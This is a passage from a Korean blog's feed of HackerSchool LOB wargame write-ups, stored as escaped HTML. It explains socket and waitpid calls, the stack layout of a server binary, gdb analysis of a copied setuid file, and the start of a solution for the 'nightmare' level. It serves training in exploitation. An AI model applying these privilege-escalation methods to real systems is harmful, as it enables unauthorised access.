/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int fd: 파일 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;정상적으로 close 했으면 0을 return, close에 실패하면 -1을 반환한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;client_fd를 종료하고, 반복문에 탈출한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recv(client_fd,&amp;nbsp;buffer,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(client_fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;clinet_fd를 한번 더 종료한다. fork()에 의해 종료가 되지 않을수도 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;waitpid() 함수는 자식 프로세스가 종료될때까지 대가하는 함수이다. 특정 자식 프로세스가 종료될 때까지 대기한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;waitpid() 함수는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;pid_t waitpid(pid_t pid, int *status, int options);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;pid_t pid: 감사할 자식 프로세스 ID로서 아래의 옵션을 갖는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9921C1455BD5932E0E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9921C1455BD5932E0E&quot; width=&quot;1000&quot; height=&quot;288&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int *status: 자식 프로세스의 종료 상태 정보&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int options : 대기를 위한 옵션으로 아래와 같은 옵션을 갖는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99918D4C5BD593A832&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99918D4C5BD593A832&quot; width=&quot;1000&quot; height=&quot;178&quot; filename=&quot;이미지 009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;정상적으로 작동되면 종료된 자식 프로세스 ID를 return 한다. 실패하면 -1을 return 한다. WNOHANG을 사용하고 자식 프로세스가 종료되지 않으면 0을 return 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;자식 프로세스가 종료되지 않아야하고, client를 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(clinet_fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(waitpid(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;WNOHANG)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;server_fd를 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(server_fd);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;death_knight의 메모리 구조를 예상해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 590px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AFA9385BD5D57B04&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AFA9385BD5D57B04&quot; width=&quot;590&quot; height=&quot;1020&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 이용해 death_knight를 분석해보자. death_night를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 787px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991B72345BD5D4C70B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991B72345BD5D4C70B&quot; width=&quot;787&quot; height=&quot;101&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 death_knight가 xavius의 권한으로 복사된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 생성되었는지 gdb를 통해 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 563px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9920EC415BD5D51619&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9920EC415BD5D51619&quot; width=&quot;563&quot; height=&quot;593&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 추가적으로 생성되지 않고 정확히 84(0x54) byte가 생성된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/LOB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/220</guid>
      <comments>https://marcokhan.tistory.com/220#entry220comment</comments>
      <pubDate>Sun, 28 Oct 2018 16:56:23 +0900</pubDate>
    </item>
    <item>
      <title>해커스쿨 LOB nightmare 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/219</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;nightmare --- beg for me&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$export SHELL=/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 nightmare의 디렉터리를 확인한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 845px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B09B365BCE8F1726&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B09B365BCE8F1726&quot; width=&quot;845&quot; height=&quot;83&quot; filename=&quot;이미지 043.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;xavius&lt;/span&gt;라는 의심스러운 파일이 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;xavius는 xavius의 권한을 가지고 있고, setuid가 걸려있는 파일&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;xavius.c를 가지고 xavius elf 파일을 만들었을 가능성이 있기 때문에, xavius 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9969EE345BCE90F42A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9969EE345BCE90F42A&quot; width=&quot;900&quot; height=&quot;1009&quot; filename=&quot;이미지 001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지역 변수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 